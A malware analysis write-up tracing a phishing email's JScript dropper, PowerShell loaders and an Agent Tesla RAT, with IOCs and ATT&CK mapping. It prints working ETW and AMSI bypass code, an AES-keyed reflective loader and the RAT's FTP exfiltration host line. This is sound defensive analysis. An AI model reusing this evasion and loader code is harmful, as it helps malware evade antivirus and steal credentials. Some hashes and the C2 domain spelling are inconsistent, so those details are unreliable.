ACKNOWLEDGEMENT OF AMENDED PO NO.: 55963
On March 6 2026, 00:44 UTC, I received an email with the following details:
| From | Subject | Sender address | Sender IP |
|---|---|---|---|
| “Ace Exim Pte. Ltd” <export12@bestu-international.shop> | ACKNOWLEDGEMENT OF AMENDED PO NO.: 55963 | export12@bestu-international.shop | 185.117.90.210 |
The email passed authentication checks, including SPF, DMARC, and DKIM. However, the sender domain and IP are listed in email blocklists for spam. Furthermore, the sender impersonates “Ace Exim Pte. Ltd”, a legitimate ship recycling company located in Singapore.
The email contains the following attachment:
| Name | Type | Magic | SHA256 |
|---|---|---|---|
| AMENDED PO NO. 55963.r00 | RAR | RAR archive data, v4, os: Win32 | 756e2527fd5a40547e66224ba0933785 |
Analysis
JScript Dropper
Extracting the attached RAR archive yields the file “AMENDED PO NO. 55963.JS”. This script is heavily obfuscated so I used box-js to execute the file in a local sandbox and extract IOCs. The following operations were identified:
- The script looks for the files
C:\Users\Public\Mands.pngandC:\Users\Public\Vile.png. - If the files exist, they are deleted.
- Text is written to both files using the
ADODB.StreamActiveX object methods1. - Finally, the following command is executed:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Noexit -nop -c iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('...'.Replace('BHNZISEUX','')))))
The command includes a base64 encoded string (omitted) with the character sequence BHNZISEUX added to it multiple
times for obfuscation. These sequences are removed, the string is decoded, and the resulting expression is invoked.
I used the following CyberChef recipe to decode the payload:
Regular_expression('User defined','\'([A-Za-z0-9+/=]+)\'',false,false,false,false,false,false,'List capture groups')
Find_/_Replace({'option':'Simple string','string':'BHNZISEUX'},'',true,false,false,false)
From_Base64('A-Za-z0-9+/=',true,false)
Decode_text('UTF-16LE (1200)')
PowerShell Loader (part 1)
The resulting script has comments (likely AI generated) which explain its functionality in detail.
- The script defines the following variables:
$inputBase64FilePath: a file path$FONIA1: base64 encoded AES key$FONIA2: base64 encoded AES IV
- It reads the
Mands.pngfile, decodes it as base64, and decrypts it with AES. - It decodes each line as base64 and executes it as a separate command.
# Specify the path to your text file
$inputBase64FilePath = "C:\Users\PUBLIC\Mands.png"
$FONIA1 = "XW/rxEcefeGgLkSZnkuT7xdp4anDC/iUpCgRgENPPto="
$FONIA2 = "kSkHVO9bPsG2F/4Nq5kUBA=="
# Create a new AES object
$aes_var = [System.Security.Cryptography.Aes]::Create()
# Set AES parameters
$aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes_var.Key = [System.Convert]::FromBase64String($FONIA1)
$aes_var.IV = [System.Convert]::FromBase64String($FONIA2)
# Read the Base64-encoded encrypted data
$base64String = [System.IO.File]::ReadAllText($inputBase64FilePath)
# Convert Base64 string to byte array
$encryptedBytes = [System.Convert]::FromBase64String($base64String)
# Create a MemoryStream from the encrypted byte array
$memoryStream = [System.IO.MemoryStream]::new()
# Write the encrypted bytes to MemoryStream
$memoryStream.Write($encryptedBytes, 0, $encryptedBytes.Length)
$memoryStream.Position = 0 # Reset the position for reading
# Create a decryptor
$decryptor = $aes_var.CreateDecryptor()
# Create a CryptoStream for decryption
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)
# Read the decrypted data from the CryptoStream
$streamReader = New-Object System.IO.StreamReader($cryptoStream)
$decryptedString = $streamReader.ReadToEnd()
# Close streams
$cryptoStream.Close()
$memoryStream.Close()
$streamReader.Close()
# Print the decrypted result
#Write-Output "Decrypted result:"
#Write-Output $decryptedString
# Split the decrypted string into commands assuming they are separated by a newline
#$commands = $decryptedString -split "`n"
# Execute each command
# Split the decrypted string into commands assuming they are separated by a newline
$commands = $decryptedString -split "`n"
# Execute each command
foreach ($encodedCommand in $commands) {
try {
# Trim any whitespace
$encodedCommand = $encodedCommand.Trim()
# Validate command (optional, adjust as needed)
if (-not [string]::IsNullOrWhiteSpace($encodedCommand)) {
# Validate if it is a Base64 string
if ($encodedCommand -match '^[A-Za-z0-9+/=]+$' -and ($encodedCommand.Length % 4 -eq 0)) {
# Decode the Base64 command
$decodedCommand = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encodedCommand))
# Write-Host "done"
# Execute the decoded command
Invoke-Expression $decodedCommand
} else {
# Write-Host "Skipped invalid Base64 command: $encodedCommand"
}
} else {
# Write-Host "Skipped an empty command."
}
} catch {
# Write-Host ("Error executing command: {0}" -f $_.Exception.Message)
}
}
ETW / AMSI Bypass
In order to decode and decrypt the contents of the Mands.png file, I used the following CyberChef recipe:
From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'Base64','string':'XW/rxEcefeGgLkSZnkuT7xdp4anDC/iUpCgRgENPPto='},{'option':'Base64','string':'kSkHVO9bPsG2F/4Nq5kUBA=='},'CBC','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
From_Base64('A-Za-z0-9+/=',true,false)
Decode_text('UTF-16LE (1200)')
This resulted in another base64 encoded command obfuscated with HWEAAAJJHWEAAA character sequences, which I then decoded with the following recipe:
Regular_expression('User defined','\'([A-Za-z0-9+/=]+)\'',false,false,false,false,false,false,'List capture groups')
Find_/_Replace({'option':'Simple string','string':'HWEAAAJJHWEAAA'},'',true,false,false,false)
From_Base64('A-Za-z0-9+/=',true,false)
Decode_text('UTF-16LE (1200)')
The resulting script implements multiple techniques to evade detection by Event Tracing for Windows (ETW) and Antimalware Scan Interface (AMSI). At first, it defines memory-related constants, functions, and boilerplate reflection code.
$PAGE_READONLY = 0x02
$PAGE_READWRITE = 0x04
$PAGE_EXECUTE_READWRITE = 0x40
$PAGE_EXECUTE_READ = 0x20
$PAGE_GUARD = 0x100
$MEM_COMMIT = 0x1000
$MAX_PATH = 260
function IsReadable($protect, $state) {
return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT)
}
if ($PSVersionTable.PSVersion.Major -gt 2) {
$DynAssembly = New-Object System.Reflection.AssemblyName("Win32")
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)
$TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
[void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
$MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()
$TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
[void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
$SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()
$TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class")
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError")
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True))
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [void], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName", "psapi.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetProcAddress", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [string]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetModuleHandle", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([string]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$Kernel32 = $TypeBuilder.CreateType()
try { $ExecutionContext.SessionState.LanguageMode = 'FullLanguage' } catch { }
try { Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser -Force -ErrorAction SilentlyContinue } catch { }
Then, it locates and patches the EtwEventWrite function, which is responsible for event logging,
with shellcode so that it returns immediately, thus preventing event-based rules from being triggered.
$etwAddr = [Win32.Kernel32]::GetProcAddress([Win32.Kernel32]::GetModuleHandle("ntdll.dll"), "EtwEventWrite")
if ($etwAddr -ne [IntPtr]::Zero) {
$oldProtect = 0
$patchSize = if ([Environment]::Is64BitProcess) { 1 } else { 3 }
$patchBytes = if ([Environment]::Is64BitProcess) { @(0xC3) } else { @(0xC2, 0x14, 0x00) }
if ([Win32.Kernel32]::VirtualProtect($etwAddr, $patchSize, 0x40, [ref]$oldProtect)) {
[System.Runtime.InteropServices.Marshal]::Copy($patchBytes, 0, $etwAddr, $patchSize)
[Win32.Kernel32]::VirtualProtect($etwAddr, $patchSize, $oldProtect, [ref]$oldProtect)
}
}
Then, it attempts to patch the amsiSession and amsiContext fields of the AmsiUtils assembly.
This technique breaks PowerShell script scanning, at least in older implementations2.
try {
$amsiUtils = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
if ($amsiUtils) {
$amsiUtils.GetField('amsiSession','NonPublic,Static').SetValue($null, $null)
$amsiUtils.GetField('amsiContext','NonPublic,Static').SetValue($null, [IntPtr]::Zero)
}
} catch { }
Also, it attempts to delete the registry keys under HKLM:\SOFTWARE\Microsoft\AMSI\Providers.
This technique requires elevated privileges but, if it succeeds, all antimalware products
that are registered as AMSI providers are deregistered, effectively disabling script scanning.
try {
if (Test-Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers' -ErrorAction SilentlyContinue) {
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers' -ErrorAction SilentlyContinue | ForEach-Object { Remove-Item $_.PSPath -Recurse -Force -ErrorAction SilentlyContinue }
}
} catch { }
Finally, it moves on to a more sophisticated technique which disables AMSI by hiding the AmsiScanBuffer
function from the .NET Common Language Runtime (CLR)3. This function is responsible for scanning buffers
to determine if they contain malware. The CLR dynamically resolves the location of the function and exits
gracefully if it cannot be found, in which case .NET binaries can be loaded reflectively without being scanned.
- The script loops through each memory region.
- It finds the memory region that maps to
clr.dll. - It finds the location of the “AmsiScanBuffer” string.
- It adds write permissions to the memory region.
- It overwrites the target string with zeroes.
- Finally, it restores the original memory positions.
To avoid AMSI detecting the “AmsiScanBuffer” string in this script, it is split into four variables.
$a = "Ams"
$b = "iSc"
$c = "anBuf"
$d = "fer"
$signature = [System.Text.Encoding]::UTF8.GetBytes($a + $b + $c + $d)
$hProcess = [Win32.Kernel32]::GetCurrentProcess()
$sysInfo = New-Object Win32.SYSTEM_INFO
[void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo)
$clrModules = [System.Collections.ArrayList]::new()
$address = [IntPtr]::Zero
$memInfo = New-Object Win32.MEMORY_INFO_BASIC
$pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH
$maxAddr = $sysInfo.lpMaximumApplicationAddress.ToInt64()
while ($address.ToInt64() -lt $maxAddr) {
$queryResult = [Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))
if ($queryResult) {
if ((IsReadable $memInfo.Protect $memInfo.State) -and ($memInfo.RegionSize.ToInt64() -gt 0x1000)) {
[void]$pathBuilder.Clear()
$mappedResult = [Win32.Kernel32]::GetMappedFileName($hProcess, $memInfo.BaseAddress, $pathBuilder, $MAX_PATH)
if ($mappedResult -gt 0) {
if ($pathBuilder.ToString().EndsWith("clr.dll", [StringComparison]::InvariantCultureIgnoreCase)) {
[void]$clrModules.Add($memInfo)
}
}
}
}
$address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64())
}
$maxBufferSize = 0x100000
$sigLen = $signature.Length
$buffer = New-Object byte[] $maxBufferSize
$replacement = New-Object byte[] $sigLen
$bytesRead = 0
$bytesWritten = 0
foreach ($region in $clrModules) {
$regionSize = $region.RegionSize.ToInt64()
$processed = 0
while ($processed -lt $regionSize) {
$chunkSize = [Math]::Min($maxBufferSize, $regionSize - $processed)
$currentAddr = [IntPtr]::Add($region.BaseAddress, $processed)
$readResult = [Win32.Kernel32]::ReadProcessMemory($hProcess, $currentAddr, $buffer, $chunkSize, [ref]$bytesRead)
if ($readResult -and $bytesRead -gt $sigLen) {
$searchLimit = $bytesRead - $sigLen
for ($k = 0; $k -le $searchLimit; $k += 4) {
if ($buffer[$k] -eq $signature[0]) {
$found = $true
for ($m = 1; $m -lt $sigLen; $m++) {
if ($buffer[$k + $m] -ne $signature[$m]) {
$found = $false
break
}
}
if ($found) {
$targetAddr = [IntPtr]::Add($currentAddr, $k)
$oldProtect = 0
$protectResult = [Win32.Kernel32]::VirtualProtect($targetAddr, $sigLen, $PAGE_EXECUTE_READWRITE, [ref]$oldProtect)
if ($protectResult) {
[void][Win32.Kernel32]::WriteProcessMemory($hProcess, $targetAddr, $replacement, $sigLen, [ref]$bytesWritten)
[void][Win32.Kernel32]::VirtualProtect($targetAddr, $sigLen, $oldProtect, [ref]$oldProtect)
return
}
}
}
}
}
$processed += $chunkSize
}
}
}
PowerShell Loader (part 2)
After executing the previous script to bypass ETW and AMSI, the loader moves on to
the Vile.png file, which is decoded and decrypted much like the Mands.png file.
The result in this case is a .NET executable which is loaded reflectively and executed.
# Input Base64 encrypted file path
$inputBase64FilePath = "C:\Users\PUBLIC\Vile.png"
# Create a new AES object
$aes_var = [System.Security.Cryptography.Aes]::Create()
# Set AES parameters
$aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes_var.Key = [System.Convert]::FromBase64String($FONIA1) # Your AES key
$aes_var.IV = [System.Convert]::FromBase64String($FONIA2) # Your IV
# Read the Base64-encoded encrypted data
$base64String = [System.IO.File]::ReadAllText($inputBase64FilePath)
# Convert Base64 string to byte array
$encryptedBytes = [System.Convert]::FromBase64String($base64String)
# Create a MemoryStream from the encrypted byte array
$memoryStream = [System.IO.MemoryStream]::new()
$memoryStream.Write($encryptedBytes, 0, $encryptedBytes.Length)
$memoryStream.Position = 0 # Reset the position for reading
# Create a decryptor
$decryptor = $aes_var.CreateDecryptor()
# Create a CryptoStream for decryption
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)
# Decrypt the data into a MemoryStream (no file output)
$decryptedMemoryStream = [System.IO.MemoryStream]::new()
try {
$buffer = New-Object byte[] 4096
$bytesRead = 0
while (($bytesRead = $cryptoStream.Read($buffer, 0, $buffer.Length)) -gt 0) {
$decryptedMemoryStream.Write($buffer, 0, $bytesRead)
}
$decryptedMemoryStream.Position = 0
} catch {
# Write-Host ("Error during decryption: {0}" -f $_)
} finally {
$cryptoStream.Close()
$memoryStream.Close()
}
# Load the decrypted executable from memory
try {
$decryptedBytes = $decryptedMemoryStream.ToArray()
$decryptedMemoryStream.Close()
# Attempt to load as an assembly
$assembly = [Reflection.Assembly]::Load($decryptedBytes)
#Write-Host "Assembly loaded successfully. Running..."
# Invoke the entry point
$entryPoint = $assembly.EntryPoint
if ($entryPoint -ne $null) {
# Create an array of parameters to pass to the main method
$params = @()
$entryPoint.Invoke($null, $params)
} else {
# Write-Host "No entry point found in assembly."
}
} catch {
# Write-Host ("Failed to load assembly: {0}" -f $_)
}
Agent Tesla
Finally, after having decrypted the executable, I decompiled it using dnSpyEx and started analysing the code.
The Properties/AssemblyInfo.cs file contains the following metadata,
which indicates the executable is masquerading as a Python setup:
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: Guid("ac817265-7162-4840-9799-486144a753d9")]
[assembly: AssemblyCopyright("Copyright (c) Python Software Foundation. All rights reserved.")]
[assembly: AssemblyTrademark("Python Software Foundation")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyProduct("Python 3.11.3 (64-bit)")]
[assembly: AssemblyCompany("Python Software Foundation")]
[assembly: AssemblyDescription("Python 3.11.3 (64-bit)")]
[assembly: AssemblyTitle("setup")]
The f45b853c-c9d3-495e-9acb-d41a4a90029f.csproj project file identifies the assembly name of the
executable as f45b853c-c9d3-495e-9acb-d41a4a90029f. A review of the code files, and in particular
the configuration class, indicates that this sample is an Agent Tesla Remote Access Trojan.
The configuration dictates which operations are enabled or disabled:
-
PublicIpAddressGrab -
EnableKeylogger -
EnableScreenLogger -
EnableClipboardLogger -
EnableTorPanel -
EnableCookies -
EnableContacts -
DeleteBackspace -
AppAddStartup -
HideFileStartup -
HostEdit
The PublicIpAddressGrab configuration variable enables sending a request to a service
like IP-API.com to retrieve the public IP address of the machine. However, the IpApi
configuration variable is set to an empty string so this operation is effectively disabled.
It’s worth noting that a request is made to “http://ip-api.com/line/?fields=hosting” in order to identify whether the IP address belongs to a hosting provider, but the result does not include the IP itself. Also, the user agent of HTTP(S) requests is set to “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0”, to masquerade the network traffic as originating from a Firefox 99 browser on a Windows 10 device.
The EnableCookies variable enables exfiltration of browser credentials from several browsers.
However, it is not accessed anywhere in the code so this operation seems to be disabled.
The EnableContacts variable enables exfiltration of contacts from the Thunderbird mail client.
Thunderbird stores this data in the “identities” table of the “global-messages-db.sqlite” file.
The HostEdit variable enables editing the hosts file, which may be used to redirect popular
domains to malicious IP addresses. However, no redirects are actually configured, as indicated
by the text variable being empty in the relevant function:
string text = "";
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System);
string text2 = Path.Combine(folderPath, "\\drivers\\etc\\hosts");
File.AppendAllText(text2, string.Join(Environment.NewLine, text.Split(new char[] { ',' })));
Browser passwords from several browsers are exfiltrated by default and not controlled by the configuration.
The data exfiltration occurs over FTP towards the domain identified by the FtpHost configuration variable:
public static string FtpHost = "ftp://ftp.martexbuilt.com.au";
Indicators of Compromise
| Type | Value | Links | Comment |
|---|---|---|---|
| export12@bestu-international.shop | N/A | Sender address | |
| Domain | bestu-international.shop | MXToolBox VirusTotal | Sender domain |
| Domain | ftp.martexbuild.com.au | VirusTotal | C2 server |
| IP | 185.117.90.210 | AbuseIPDB | Sender IP |
| Hash | 756e2527fd5a40547e66224ba0933785 | VirusTotal ANY.RUN | AMENDED PO NO. 55963.r00 |
| Hash | 9be483c90186e01bcbf15272b9563385 | VirusTotal Triage | AMENDED PO NO. 55963.JS |
| Hash | 3638971ea743e157e4f3cd05f91055d2 | N/A | Mands.png (encrypted) |
| Hash | 3dc07bd0d06871debc2fca7e38310e29 | VirusTotal | ETW / AMSI bypass |
| Hash | 59ce20dd1fc5baca48a92244368b5e94 | N/A | Vile.png (encrypted) |
| Hash | fc640a2a31dce7882edbc7ef4c8ce69c | VirusTotal Hybrid Analysis | Agent Tesla |
MITRE ATT&CK® Techniques
| Tactic | Technique |
|---|---|
| Initial Access | T1566.001 - Phishing: Spearphishing Attachment |
| Execution | T1204.002 - User Execution: Malicious File |
| Execution | T1059.007 - Command and Scripting Interpreter: JavaScript |
| Execution | T1059.001 - Command and Scripting Interpreter: PowerShell |
| Defense Evasion | T1036.008 - Masquerading: Masquerade File Type |
| Defense Evasion | T1027.013 - Obfuscated Files or Information: Encrypted/Encoded File |
| Defense Evasion | T1562.001 - Impair Defenses: Disable or Modify Tools |
| Defense Evasion | T1620 - Reflective Code Loading |
| Credential Access | T1555.003 - Credentials from Password Stores: Credentials from Web Browsers |
| Exfiltration | T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol |